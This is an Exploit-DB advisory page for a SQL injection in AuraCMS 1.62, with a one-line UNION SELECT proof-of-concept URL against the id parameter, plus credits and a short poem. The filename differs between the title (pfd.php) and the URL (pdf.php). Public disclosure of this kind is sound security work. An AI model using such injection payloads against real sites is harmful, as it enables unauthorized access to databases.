AuraCMS 1.62 - 'pfd.php' SQL Injection

EDB-ID:

15594




Platform:

PHP

Date:

2010-11-22


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

-----------------------------------------------------------------------
AuraCMS (pfd.php) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author		: Arianom (arianom@indonesiancoder.com)
Homepage	: http://indonesiancoder.com
Vendor		: http://www.auracms.org/
Software	: AuraCMS Mod Block Statistik | http://iwan.or.id/download/lihat/1/2-1-6.html
Version		: 1.62
Date		: November 22, 2010
-----------------------------------------------------------------------



I.  POC & Exploit
-----------------------------------------------------------------------
http://localhost/pdf.php?id=140+AND+1=2+UNION+SELECT+ind0nesianc0der,1,2,3,4,5,6,7

II. Refrence
-----------------------------------------------------------------------
AuraCMS 1.62 (stat.php) Remote Code Execution Exploit  : http://www.exploit-db.com/exploits/4933/

III. Vendor patch
-----------------------------------------------------------------------
Currently manufacturers do not provide patches or upgrades.

IV. Credits
-----------------------------------------------------------------------
Allahu Akbar
INDONESIAN CODER ~ Kill-9 Crew ~ MC Crew 
Don Tukulesto ~ kaMtiEz ~ ibl13z ~ N4ck0 ~ Yurakha ~ aN93l1c ~  Mboys ~ Contrex ~  n4KuLa_ 
k4L0ng666 ~ Xr0b0t ~ kido ~ t3ll0 ~ cimpli ~ Pathloader

V. Poem
-----------------------------------------------------------------------
Kami adalah manusia biasa yang gemar belajar.
Kami suka mempelajari hal apa saja, termasuk sesuatu yang menurut orang lain aneh atau asing bagi mereka.
Kami disini hanya ingin berbagi, bukan untuk bersaing.

Indonesian Coder Family